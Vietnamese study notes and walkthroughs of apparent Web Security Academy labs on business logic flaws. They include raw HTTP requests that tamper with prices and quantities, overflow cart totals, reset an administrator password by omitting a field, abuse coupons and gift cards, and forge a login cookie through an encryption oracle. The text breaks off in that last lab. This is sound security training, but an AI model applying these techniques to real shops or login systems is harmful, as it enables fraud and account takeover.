What are business logic vulnerabilities?

Business logic vulnerabilities là các lỗ hổng xảy ra khi logic nghiệp vụ của ứng dụng có thể bị kẻ tấn công lạm dụng để thực hiện các hành động ngoài ý muốn. Các lỗ hổng này thường liên quan đến việc vi phạm các quy tắc và ràng buộc nghiệp vụ.

Summary

Một trong những mục đích chính của business logic là thực thi các quy tắc và ràng buộc được định nghĩa khi thiết kế ứng dụng hoặc chức năng. Nói chung, các quy tắc nghiệp vụ quyết định cách ứng dụng phản ứng khi một tình huống nhất định xảy ra. Điều này bao gồm việc ngăn user thực hiện những hành động có tác động tiêu cực đến doanh nghiệp hoặc đơn giản là không hợp lý.

Các lỗi trong logic có thể cho phép kẻ tấn công circumvent các quy tắc này. Ví dụ, họ có thể hoàn thành giao dịch mà không thông qua workflow mua hàng dự định. Trong các trường hợp khác, việc validation bị hỏng hoặc không tồn tại đối với dữ liệu do user cung cấp có thể cho phép user thay đổi tùy ý các giá trị quan trọng của giao dịch hoặc submit input vô nghĩa.

Tính đặc thù của logic bug:

Summary

Các lỗ hổng dựa trên logic có thể cực kỳ đa dạng và thường độc nhất với ứng dụng và chức năng cụ thể của nó. Việc xác định chúng thường đòi hỏi một lượng kiến thức nhất định về con người, chẳng hạn như hiểu biết về domain nghiệp vụ hoặc mục tiêu mà kẻ tấn công có thể có trong bối cảnh nhất định.

How do business logic vulnerabilities arise?

Ứng dụng càng lớn và phức tạp thì càng dễ có logic bug:

Summary

Các lỗi logic đặc biệt phổ biến trong các hệ thống quá phức tạp mà ngay cả team phát triển cũng không hiểu đầy đủ. Để tránh các lỗi logic, developer cần hiểu ứng dụng như một tổng thể.

Developer làm việc trên các codebase lớn có thể không hiểu sâu sắc về cách tất cả các lĩnh vực của ứng dụng hoạt động. Ai đó làm việc trên một component có thể đưa ra các giả định sai lầm về cách component khác hoạt động và do đó vô tình tạo ra các lỗi logic nghiêm trọng.

What is the impact of business logic vulnerabilities?

Impact của logic bug tùy thuộc vào tính năng:

Summary

Về cơ bản, tác động của bất kỳ lỗi logic nào phụ thuộc vào chức năng mà nó liên quan. Nếu lỗi nằm trong cơ chế xác thực, điều này có thể có tác động nghiêm trọng đến bảo mật tổng thể. Kẻ tấn công có thể khai thác điều này để privilege escalation hoặc bypass hoàn toàn authentication, truy cập vào dữ liệu và chức năng nhạy cảm. Điều này cũng tạo ra attack surface tăng cao cho các exploit khác.

Logic bị lỗi trong các giao dịch tài chính rõ ràng có thể dẫn đến tổn thất lớn cho doanh nghiệp thông qua việc đánh cắp tiền, gian lận, v.v.

Excessive Trust in Client-side Controls

Nếu ứng dụng assume rằng người dùng chỉ tương tác thông qua browser thì có thể dẫn đến logic bug:

Summary

Một giả định có lỗi cơ bản là user sẽ chỉ tương tác với ứng dụng thông qua web interface được cung cấp. Điều này đặc biệt nguy hiểm vì nó dẫn đến giả định tiếp theo rằng client-side validation sẽ ngăn user cung cấp input độc hại. Tuy nhiên, kẻ tấn công có thể đơn giản sử dụng các công cụ như Burp Proxy để tamper dữ liệu sau khi nó được gửi bởi browser nhưng trước khi được truyền vào server-side logic.

Lab: Excessive Trust in Client-side Controls

Sản phẩm “Lightweight l33t leather jacket” có ID là 1 và giá gốc là $1337. Thử thêm vào giỏ hàng thì thấy request cho tính năng này là:

POST /cart HTTP/2
Host: 0aa0000a038089a3806021fb00880030.web-security-academy.net
Cookie: session=UJhNCNummrwf9qycefLdznkz559YGmL2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: https://0aa0000a038089a3806021fb00880030.web-security-academy.net
Referer: https://0aa0000a038089a3806021fb00880030.web-security-academy.net/product?productId=1
 
productId=1&redir=PRODUCT&quantity=1&price=133700

Thay đổi price thành 1 thì vẫn thêm vào giỏ hàng thành công với giá là $1.

Nhấn đặt hàng để hoàn thành lab.

Lab: 2FA Broken Logic

Failing to Handle Unconventional Input

Việc không xử lý đúng các input bất thường có thể dẫn đến lỗ hổng:

Example

Xem xét việc chuyển tiền giữa hai tài khoản ngân hàng. Chức năng này gần như chắc chắn sẽ kiểm tra xem người gửi có đủ tiền trước khi hoàn thành việc chuyển:

$transferAmount = $_POST['amount'];
$currentBalance = $user->getBalance();
 
if ($transferAmount <= $currentBalance) {
    // Complete the transfer
} else {
    // Block the transfer: insufficient funds
}

Nhưng nếu logic không ngăn chặn đầy đủ việc user cung cấp giá trị âm trong parameter amount, điều này có thể bị kẻ tấn công khai thác để vừa bypass kiểm tra số dư vừa chuyển tiền theo hướng “sai”. Nếu kẻ tấn công gửi -1000 từ nạn nhân. Logic sẽ luôn đánh giá rằng -1000 nhỏ hơn số dư hiện tại và phê duyệt việc chuyển.

Cách test:

Summary

Khi audit ứng dụng, chúng ta nên sử dụng các công cụ như Burp Proxy và Repeater để thử submit các giá trị bất thường. Đặc biệt, hãy thử input trong các khoảng mà user hợp pháp không bao giờ nhập. Điều này bao gồm input số cực kỳ cao hoặc cực kỳ thấpchuỗi dài bất thường cho các trường text-based. Chúng ta thậm chí có thể thử các kiểu dữ liệu bất ngờ.

Lab: High-level Logic Vulnerability

Tài khoản hiện tại là $100.

Request thêm vào giỏ hàng cho phép thêm vào một sản phẩm cần mua (“Lightweight l33t leather jacket” - có giá $1337) với quantity là số âm:

POST /cart HTTP/2
Host: 0ac600dd048e966880c2df2500a700de.web-security-academy.net
Cookie: session=BPuKjdp9uXCPKxhZ8LW6JtjJnakGpMt0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: https://0ac600dd048e966880c2df2500a700de.web-security-academy.net
Referer: https://0ac600dd048e966880c2df2500a700de.web-security-academy.net/product?productId=1
 
productId=1&redir=PRODUCT&quantity=-1
 
HTTP/2 302 Found
Location: /product?productId=1
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Thử mua hàng nhằm tăng số tài khoản hiện tại lên $1437 thì nhận thông báo lỗi như sau:

<p class=is-warning>Cart total price cannot be less than zero</p>

Có thể thấy, tổng tiền giỏ hàng không được nhỏ hơn 0. Chúng ta có thể mua sản phẩm cần mua bằng cách mua thêm các sản phẩm khác sao cho tổng tiền giỏ hàng lớn hơn 0 nhưng nhỏ hơn $100. Thực hiện điều này bằng cách mua 446 sản phẩm có ID là 8 với giá là $3. Khi đó, tổng tiền giỏ hàng là $1.

Tuy nhiên, cách làm trên sẽ không khiến chúng ta mua được 1 sản phẩm “Lightweight l33t leather jacket” mà chỉ mua được 446 sản phẩm có ID là 8. Để mua được sản phẩm “Lightweight l33t leather jacket”, chúng ta sẽ thay đổi số lượng của 2 loại sản phẩm này. Cụ thể, chúng ta sẽ mua -445 sản phẩm có ID là 8 và 1 sản phẩm “Lightweight l33t leather jacket”. Khi đó, tổng tiền giỏ hàng là $2.

Đặt đơn để hoàn thành lab.

Low-level Logic Flaw

Tài khoản hiện tại là $100. Cần mua sản phẩm “Lightweight l33t leather jacket” với giá $1337.

Chúng ta không thể mua sản phẩm với số lượng âm hay điều chỉnh giá.

Hint

Sử dụng Intruder.

Ý tưởng ở đây là sử dụng một số lượng thật lớn nhằm khiến cho tổng giá bị overflow. Giá trị của quantity có thể là 99. Sử dụng Intruder để chạy khoảng 1000 null payloads nhằm tăng giá giỏ hàng.

Tìm được giá trị dương tối đa của tổng tiền khi mua sản phầm cần mua là $21473557, tương ứng với số lượng là 16061. Nếu mua thêm một sản phẩm, giá trị sẽ bị overflow thành -$21474778.96.

Tiếp tục sử dụng Intruder khoảng lần cùng 24 lần sử dụng Repeater nữa để có thêm 16062 sản phẩm. Khi đó, tổng tiền sẽ là -$1221.96. Lúc này, chúng ta sẽ mua thêm một số sản phẩm khác để tổng tiền trở thành giá trị dương và nhỏ hơn $100.

Cụ thể hơn, chúng ta sẽ mua 13 sản phẩm với ID =2 và có giá $98.21. Cuối cùng, tổng tiền giỏ hàng là $54.77.

Nhấn đặt hàng để hoàn thành lab.

Lab: Inconsistent Handling of Exceptional Input

Trang /admin chỉ cho phép các DontWannaCry user truy cập.

Request đăng ký user:

POST /register HTTP/2
Host: 0a000013036ae2528121b6f6006b00df.web-security-academy.net
Cookie: session=E3bYGE6Vl1wbxjwH9jjlQCUjxXiBLk7I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0a000013036ae2528121b6f6006b00df.web-security-academy.net
 
csrf=dDK3nqy5EqPUoEbv29vBiXF76semtRkt&username=admin&email=admin%40dontwannacry.com&password=123

Nếu email là @dontwannacry.com thì chúng ta sẽ không nhận được email. Thay đổi thành @exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net thì nhận được email nhưng user này không phải là một DontWannaCry user.

Đã thử email @dontwannacry.com.exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net do email client nhận tất cả các email của các subdomains:

Quote

Displaying all emails @exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net and all subdomains

Tuy nhiên, cách làm này không thành công.

Lời giải

  1. Go back to the lab and register with an exceptionally long email address in the format:

very-long-string@YOUR-EMAIL-ID.web-security-academy.net

The very-long-string should be at least 200 characters long. 2. Go to the email client and notice that you have received a confirmation email. Click the link to complete the registration process. 3. Log in and go to the “My account” page. Notice that your email address has been truncated to 255 characters.

Thử với email sau:

<@random_alpha_lower(200)/>@exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net

Với <@random_alpha_lower(200)/> là tag của Hackvertor nhằm tạo ra 200 ký tự random. Sau khi đăng ký, đăng nhập và truy cập vào /my-account thì email được hiển thị là:

oxqbfennmrhtnwepzbsvveiodzgrketmmwnwijujmveaibtxkpzwjfydmbycgkvmbaseanezljbvwdxewlivgrbtaljomcagbwctqeklytuvefqbwvfkevxfnmsijnmpvzxuuyikcvznmjtczyouhlygifyynrgcmjfjrebyguadglgktsghvmbibewqxdbjbfpqnomd@exploit-0a2b00a203ace29681e4b57a019500f6.exploit-serve

Có thể thấy, nó đã bị cắt bớt.

Như vậy, ý tưởng là chúng ta sẽ chèn thêm các ký tự ngẫu nhiên để domain của email chỉ còn là dontwannacry.com.

Thử với email là:

<@random_alpha_lower(200)/>@dontwannadoncry.com.exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net

Thì email được hiển thị là:

rnplapiizjyjqyzbymwhesphpkirfjhjzcggsliaewbbaoardczbgcetkwstoiccsamhqmllzbhhqzrfplybkutqerjicezojxblludszhpjuqcdxlodqbblwvuvnylczklvgqdengmvscfchefrksmjvqaarptohwxgnnfrvqcskqkvuyxmsntqmubaaubvgpycrwmm@dontwannacry.com.exploit-0a2b00a203ace29681e4b57a01950

Chúng ta cần thêm 38 ký tự để làm mất phần .exploit-0a2b00a203ace29681e4b57a01950 ở đằng sau:

<@random_alpha_lower(238)/>@dontwannacry.com.exploit-0a2b00a203ace29681e4b57a019500f6.exploit-server.net

Đăng ký, đăng nhập và truy cập vào /admin để xóa tài khoản carlos nhằm hoàn thành lab.

Making Flawed Assumptions About User Behavior

Giả định về hành vi của người dùng có thể gây ra vấn đề:

Summary

Một trong những nguyên nhân gốc rễ phổ biến nhất của các lỗ hổng logic là đưa ra các giả định sai lầm về hành vi của user. Điều này có thể dẫn đến một loạt các vấn đề khi developer không xem xét các tình huống nguy hiểm tiềm ẩn vi phạm những giả định này.

Trusted Users Won’t Always Remain Trustworthy

Việc tin cậy vào user đã vượt qua được các kiểm tra ban đầu rằng họ sẽ không làm chuyện gì xấu có thể gây ra vấn đề:

Summary

Ứng dụng có thể xuất hiện an toàn vì chúng implement các biện pháp có vẻ mạnh mẽ để thực thi các quy tắc nghiệp vụ. Thật không may, một số ứng dụng mắc lỗi giả định rằng, sau khi vượt qua các kiểm soát nghiêm ngặt này ban đầu, user và dữ liệu của họ có thể được tin cậy vô thời hạn.

Lab: Inconsistent Security Controls

Lab này tương tự lab trước, chúng ta cần vào /admin để xóa user carlos và cũng có tính năng đăng ký tài khoản. Sau khi đăng ký tài khoản với domain của email là của exploit server và đăng nhập, ở trang /my-account có chức năng thay đổi email. Thay đổi email thành @dontwannacry.com rồi truy cập vào /admin.

Trong lab này, ứng dụng đã giả định rằng người dùng sẽ không thay đổi email về thành @dontwannacry.com sau khi đăng ký.

Users Won’t Always Supply Mandatory Input

Việc giả định rằng user sẽ chắc chắn điền các trường bắt buộc cũng có thể gây ra vấn đề:

Summary

Một quan niệm sai lầm là user sẽ luôn cung cấp giá trị cho các input field bắt buộc. Browser có thể ngăn user bình thường submit form mà không có input bắt buộc, nhưng như chúng ta biết, kẻ tấn công có thể tamper các parameter trong quá trình truyền. Điều này thậm chí mở rộng đến việc xóa hoàn toàn các parameter.

Đây là vấn đề đặc biệt trong các trường hợp nhiều chức năng được implement trong cùng một server-side script. Trong trường hợp này, sự hiện diện hoặc vắng mặt của một parameter cụ thể có thể quyết định code nào được thực thi. Việc xóa giá trị parameter có thể cho phép kẻ tấn công truy cập các code path được cho là ngoài tầm với.

Cách test:

Summary

Khi tìm hiểu các lỗi logic, chúng ta nên thử xóa từng parameter và quan sát tác động của điều này đối với response. Chúng ta nên đảm bảo:

  • Chỉ xóa một parameter một lần để đảm bảo tất cả các code path có liên quan được tiếp cận
  • Thử xóa tên của parameter cũng như giá trị. Server thường sẽ xử lý cả hai trường hợp khác nhau
  • Theo dõi các quá trình multi-stage đến khi hoàn thành. Đôi khi việc tamper parameter ở một bước sẽ có tác động đến bước khác xa hơn trong workflow

Điều này áp dụng cho cả URL và POST parameter, nhưng đừng quên kiểm tra cookie. Quá trình đơn giản này có thể tiết lộ một số hành vi ứng dụng kỳ lạ có thể khai thác được.

Lab: Weak Isolation on Dual-use Endpoint

Ứng dụng có chức năng thay đổi password của user hiện tại thông qua request sau:

POST /my-account/change-password HTTP/2
Host: 0a9e00b80377d715807453f7006400e9.web-security-academy.net
Cookie: session=J4kp1rUli1as8eXnwOXUnUzcg5Dx6IC7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
Origin: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net
Referer: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net/my-account
 
csrf=41TZq5kEuNm9AMPkcJXtHlmNwE9R2QKy&username=wiener&current-password=peter&new-password-1=peter&new-password-2=peter

Khi thay đổi username thành administrator, nhận được thông báo sau:

<p class=is-warning>Current password is incorrect</p>

Mặc dù trên giao diện bắt buộc nhập password hiện tại, chúng ta vẫn có thể bỏ hẳn trường này để đổi mật khẩu của administrator:

POST /my-account/change-password HTTP/2
Host: 0a9e00b80377d715807453f7006400e9.web-security-academy.net
Cookie: session=J4kp1rUli1as8eXnwOXUnUzcg5Dx6IC7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 102
Origin: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net
Referer: https://0a9e00b80377d715807453f7006400e9.web-security-academy.net/my-account
 
csrf=41TZq5kEuNm9AMPkcJXtHlmNwE9R2QKy&username=administrator&new-password-1=peter&new-password-2=peter

Response có thông báo sau cho biết chúng ta đã thay đổi password thành công:

<p>Password changed successfully!</p>

Đăng nhập bằng administrator, truy cập /admin và xóa user carlos để hoàn thành lab.

Users Won’t Always Follow the Intended Sequence

Việc tin tưởng rằng user sẽ tuân theo hướng dẫn của web browser hay workflow đã được quy định có thể gây ra vấn đề do attacker có thể không tuân theo:

Summary

Nhiều giao dịch dựa trên workflow được định nghĩa trước bao gồm một chuỗi các bước. Web interface thường sẽ hướng dẫn user thông qua quá trình này, đưa họ đến bước tiếp theo của workflow mỗi khi họ hoàn thành bước hiện tại. Tuy nhiên, kẻ tấn công sẽ không nhất thiết tuân theo chuỗi dự định này. Việc không tính đến khả năng này có thể dẫn đến các lỗi nguy hiểm có thể tương đối đơn giản để khai thác.

Ví dụ:

Example

Ví dụ, nhiều website implement two-factor authentication (2FA) yêu cầu user đăng nhập trên một trang trước khi nhập verification code trên trang riêng biệt. Giả định rằng user sẽ luôn thực hiện quá trình này đến khi hoàn thành và do đó, không xác minh rằng họ thực sự làm vậy, có thể cho phép kẻ tấn công bypass hoàn toàn bước 2FA.

Cách khai thác:

Summary

Để xác định những loại lỗi này, chúng ta nên sử dụng forced browsing để submit request theo chuỗi không dự định. Ví dụ, chúng ta có thể bỏ qua các bước nhất định, truy cập một bước nhiều lần, quay lại các bước trước đó, v.v. Ghi chú cách các bước khác nhau được truy cập. Mặc dù thường chỉ submit request GET hoặc POST đến URL cụ thể, đôi khi chúng ta có thể truy cập các bước bằng cách submit các bộ parameter khác nhau đến cùng URL. Như với tất cả các lỗi logic, hãy cố gắng xác định những giả định mà developer đã đưa ra và attack surface nằm ở đâu. Sau đó chúng ta có thể tìm cách vi phạm những giả định này.

Lab: 2FA Simple Bypass

Lab: Insufficient Workflow Validation

Tài khoản hiện tại là $100 và món hàng cần mua là “Lightweight l33t leather jacket” với giá $1337.

Thứ tự các request dùng để mua một món hàng:

  1. POST /cart với body params là productId=1&redir=PRODUCT&quantity=1: thêm món hàng vào giỏ hàng
  2. POST /cart/checkout với body params là csrf=9Vt84xGPA3Rla0om86aCl9nfd5rEomYO: đặt đơn
  3. GET /cart/order-confirmation?order-confirmed=true: xác nhận đơn hàng

Thử gửi request thứ 3 thì nhận được response sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
Set-Cookie: session=hjH4cTGxkT169WEg2uhACSMv2h2RoxtF; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 26
 
"You have not checked out"

Như vậy, chúng ta cần thực hiện checkout trước khi xác nhận đơn hàng. Liệu chúng ta có thể đặt thêm hàng sau khi checkout một món bất kỳ nào đó?

Ý tưởng như sau:

  1. Thêm vào giỏ hàng một món bất kỳ với giá nhỏ hơn $100.
  2. Checkout để thanh toán và trừ tiền.
  3. Tiếp tục thêm vào giỏ hàng món hàng cần mua.
  4. Gửi request thứ 3 để xác nhận đơn hàng.

Sau khi làm các bước trên, response của bước 4 xác nhận rằng chúng ta đã mua 2 sản phẩm:

<table>
 <tbody>
  <tr>
   <th>Name</th>
   <th>Price</th>
   <th>Quantity</th>
   <th></th>
  </tr>
  <tr>
   <td><a href="/product?productId=1">Lightweight "l33t" Leather Jacket</a></td>
   <td>$1337.00</td>
   <td>1</td>
   <td></td>
  </tr>
  <tr>
   <td><a href="/product?productId=4">Hitch A Lift</a></td>
   <td>$3.00</td>
   <td>1</td>
   <td></td>
  </tr>
 </tbody>
</table>
<table>
 <tbody>
  <tr>
   <th>Total:</th>
   <th>$1340.00</th>
  </tr>
 </tbody>
</table>

Điều này cho thấy rằng chúng ta đã mua món hàng cần mua mà không cần checkout.

Lab: Authentication Bypass via Flawed State Machine

Luồng đăng nhập:

  1. GET /login: lấy session cookie 1 và CSRF token
  2. POST /login: lấy session cookie 2 và chuyển hướng đến /role-selector
  3. GET /role-selector: lấy CSRF token tương ứng với form chọn role
  4. POST /role-selector: lấy session cookie 3 và chuyển hướng đến /my-account

Request thứ 4 có dạng như sau:

POST /role-selector HTTP/2
Host: 0a9a00560403c53d81ba215a007400a7.web-security-academy.net
Cookie: session=4sUO838MWeu120ZX6zgmS57Nx2eYXVkB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: https://0a9a00560403c53d81ba215a007400a7.web-security-academy.net
Referer: https://0a9a00560403c53d81ba215a007400a7.web-security-academy.net/role-selector
 
role=user&csrf=tkua85s9Lg7UMONFXc9lLfI4BhKkedQp

Đã thử thay đổi role=user thành role=administrator hay role=admin nhưng không thành công.

Nghĩ đến việc bỏ qua bước chọn role: sau khi đăng nhập, sử dụng session cookie 2 để truy cập thẳng vào /admin và thành công. Tiếp tục dùng cookie này để xóa user carlos nhằm hoàn thành lab.

Domain-specific Flaws

Ví dụ về bug liên quan đến lĩnh vực cụ thể:

Example

Chức năng giảm giá của các cửa hàng trực tuyến là attack surface cổ điển khi tìm kiếm các lỗi logic. Đây có thể là mỏ vàng tiềm năng cho kẻ tấn công, với tất cả các loại lỗi logic cơ bản xảy ra trong cách áp dụng giảm giá.

Ví dụ, xem xét một cửa hàng trực tuyến cung cấp giảm giá 10% cho các đơn hàng trên 1000, sau đó xóa các mặt hàng họ không muốn trước khi đặt hàng. Sau đó họ sẽ nhận được giảm giá trên đơn hàng mặc dù nó không còn thỏa mãn tiêu chí dự định.

Cách khai thác trong trường hợp domain là online shop:

Summary

Chúng ta nên đặc biệt chú ý đến bất kỳ tình huống nào mà giá hoặc các giá trị nhạy cảm khác được điều chỉnh dựa trên tiêu chí được xác định bởi hành động của user. Cố gắng hiểu thuật toán nào mà ứng dụng sử dụng để thực hiện các điều chỉnh này và tại thời điểm nào các điều chỉnh này được thực hiện. Điều này thường liên quan đến việc manipulate ứng dụng để nó ở trong trạng thái mà các điều chỉnh được áp dụng không tương ứng với tiêu chí ban đầu mà developer dự định.

Giải thích đoạn trên: Lỗ hổng điều chỉnh giá

Lab: Flawed Enforcement of Business Rules

Tài khoản hiện tại có $100 và chúng ta cần mua sản phẩm “Lightweight l33t leather jacket” với giá $1337.

Ở đầu ứng dụng có coupon NEWCUST5 giúp giảm $5.

Áp dụng coupon thông qua request sau:

POST /cart/coupon HTTP/2
Host: 0a3500dc0478461380663bb2007000dd.web-security-academy.net
Cookie: session=jcF4YsAeeIf1psSvSJhnRStrGNiupdi0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: https://0a3500dc0478461380663bb2007000dd.web-security-academy.net
Referer: https://0a3500dc0478461380663bb2007000dd.web-security-academy.net/cart
 
csrf=nqqoQrMCx9FMa6DwSBR5ivMAtxWXP4wi&coupon=NEWCUST5

Tuy nhiên, chúng ta không thể tái sử dụng coupon này:

HTTP/2 302 Found
Location: /cart?couponError=COUPON_ALREADY_APPLIED&coupon=NEWCUST5
X-Frame-Options: SAMEORIGIN
Content-Length: 22
 
Coupon already applied

Khi kéo xuống cuối ứng dụng thì thấy có form giúp đăng ký nhận tin:

Nhập vào email bất kỳ và nhận được coupon SIGNUP30.

Sử dụng coupon này thì vẫn dùng được coupon NEWCUST5. Nhận thấy rằng chúng ta có thể tái sử dụng 2 loại coupon này nếu chúng ta apply chúng theo thứ tự xen kẽ.

Tái sử dụng các coupon cho đến khi giá của giỏ hàng giảm còn 0. Đặt đơn để hoàn thành lab.

Lab: Infinite Money Logic Flaw

Tài khoản hiện tại có $100 và chúng ta cần mua sản phẩm “Lightweight l33t leather jacket” với giá $1337.

Tìm thấy form nhập Gift Card như sau:

Khi ở trang chủ, tìm thấy một sản phẩm có tên là Gift Card:

Ngoài ra, ứng dụng cũng cho phép chúng ta nhận mã SIGNUP30 khi đăng ký nhận tin ở form cuối trang:

Tuy nhiên, không có email nào gửi về Email Client.

Thay đổi hướng tiếp cận: sử dụng coupon rồi mua Gift Card và nhập Gift Card. Cụ thể hơn, Gift Card có giá là $10. Khi áp dụng coupon SIGNUP30 giúp giảm 30%, giá của nó sẽ là $7. Khi nhập Gift Card, nó sẽ cho chúng ta lại $10. Như vậy, chúng ta sẽ lời $3 cho mỗi lần thực hiện.

Nói cách khác, chúng ta có thể “farm” tiền bằng cách spam liên tục chuỗi hành động trên.

Note

Chú ý rằng chúng ta có thể mua nhiều Gift Card rồi nhập một lần nhiều cái.

Request dùng để nhập coupon:

POST /gift-card HTTP/2
Host: 0aa90070038c344680f0e93a00a900db.web-security-academy.net
Cookie: session=TG2f21AY62iKbv172oqJpLl111tB46bz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: https://0aa90070038c344680f0e93a00a900db.web-security-academy.net
Referer: https://0aa90070038c344680f0e93a00a900db.web-security-academy.net/my-account?id=wiener
 
csrf=vmUZ2Dci4KkicoYtVhYrUgPN5ex45ZnE&gift-card=XWP5p2e0UL

Chúng ta sẽ dùng HTML Content Extractor để lấy danh sách các coupon trong response của /cart/order-confirmation?order-confirmed=true rồi dùng Intruder cho request trên để nhập nhiều Gift Card.

CSRF token ở trang /my-account có giá trị không đổi nên chúng ta không cần phải thay mới.

Tip

Dùng Macro sẽ nhanh hơn. Chuỗi các request:

  1. POST /cart: thêm sản phẩm vào giỏ hàng (số lượng = 1)
  2. GET /cart: lấy CSRF token
  3. POST /cart/coupon: áp dụng coupon
  4. POST /checkout: thanh toán
  5. GET /cart/order-confirmation?order-confirmed=true: lấy mã Gift Card
  6. POST /gift-card: áp dụng Gift Card

Cấu hình Macro trên kết hợp với Intruder cho request /my-account:

  • Sử dụng 430 Null Payloads
  • Resource Pool là 1 concurrent request

Sau khi có đủ tiền thì đặt hàng để hoàn thành lab.

Providing an Encryption Oracle

Việc để lộ cipher cho người dùng có thể gây nguy hiểm nếu như có một chức năng quan trọng nào đó cũng sử dụng giá trị ciphertext với cùng thuật toán và khóa bất đối xứng:

Summary

Các tình huống nguy hiểm có thể xảy ra khi user-controllable input được mã hóa và ciphertext kết quả sau đó được cung cấp cho user theo cách nào đó. Loại input này đôi khi được gọi là “encryption oracle”.

Điều này trở nên nguy hiểm khi có các user-controllable input khác trong ứng dụng mong đợi dữ liệu được mã hóa bằng cùng thuật toán. Trong trường hợp này, kẻ tấn công có thể sử dụng encryption oracle để tạo input được mã hóa hợp lệ và sau đó truyền nó vào các chức năng nhạy cảm khác.

Nếu có chức năng nào đó cho phép giải mã giá trị thì attacker có thể lạm dụng nó để hiểu thêm về cấu trúc của dữ liệu đã bị mã hóa nhằm tạo ra payload thích hợp:

Summary

Vấn đề này có thể phức tạp hơn nếu có user-controllable input khác trên site cung cấp chức năng ngược lại. Điều này sẽ cho phép kẻ tấn công decrypt dữ liệu khác để xác định cấu trúc mong đợi. Điều này giúp họ tiết kiệm một số công việc trong việc tạo dữ liệu độc hại nhưng không nhất thiết phải có để tạo ra exploit thành công.

Lab: Authentication Bypass via Encryption Oracle

Request login có dạng như sau:

POST /login HTTP/2
Host: 0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Cookie: session=FH7jbt0udshBCbcjqZEtNeqcY1ZxvQYR
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Referer: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net/login
 
csrf=rrKebkoZZp83OCU7jQglaQMwrF8vZO0s&username=wiener&password=peter&stay-logged-in=on

Response của nó có 2 cookies:

HTTP/2 302 Found
Location: /my-account?id=wiener
Set-Cookie: stay-logged-in=DeIPdXaxmERAHzMtmubD1hyCIY%2fuG52SP3CVKqmpuYI%3d; Expires=Wed, 01 Jan 3000 01:00:00 UTC
Set-Cookie: session=MHoaVbuD5pKYirjFQG74NHUvYPHiiH1Q; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Với stay-logged-in được mã hóa và encoded dưới dạng base64.

Request đăng một bình luận:

POST /post/comment HTTP/2
Host: 0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Cookie: session=TIwO0Dud5JLHiKF3Q5XzDByngZKRe7u2; stay-logged-in=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 81
Origin: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net
Referer: https://0ae50079043674ed81d9dffb00eb00cc.web-security-academy.net/post?postId=10
 
csrf=7kqBodCXTjkSl9oSboSjQDtZsHFpGMCp&postId=10&comment=a&name=a&email=a&website=

Có thể thấy, trường email có giá trị không đúng định dạng.

Khi đó, response có một notification cookie như sau:

HTTP/2 302 Found
Location: /post?postId=10
Set-Cookie: notification=GeMm7PsIOTLEO4my/fOcRNo/CCk31XYtz9+sN2+O2Bk=; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 0

Giá trị này có thể đã bị mã hóa.

Khi gửi request có notification cookie đến /post?postId={postId} thì nó sẽ được decrypt ra như sau:

<header class="notification-header">
	Invalid email address: a
</header>

Thử sử dụng giá trị của stay-logged-in cookie ở trong giá trị của notification thì chúng ta thấy rằng response có thông tin sau:

<header class="notification-header">
	wiener:1745287960334                    
</header>

Như vậy, stay-logged-in cookie là giá trị của username và timestamp. Mục tiêu bây giờ của chúng ta là tìm cách để tạo ra giá trị ciphertext của administrator:<timestamp> và dùng nó làm stay-logged-in cookie. Khi có stay-logged-in cookie, chúng ta có thể bypass việc xác thực.

Thử gửi request comment với emailadministrator:1745287960334 thì notification nhận được có giá trị là:

GeMm7PsIOTLEO4my/fOcRLnopJ6qVGBY9IY7jxhuFeUA5uiFkuu0hoEutKkN/mtY9xG7QI66XvUdm3eAdcHSkw==

Giá trị decrypt của nó là:

<header class="notification-header">
	Invalid email address: administrator:1745287960334
</header>

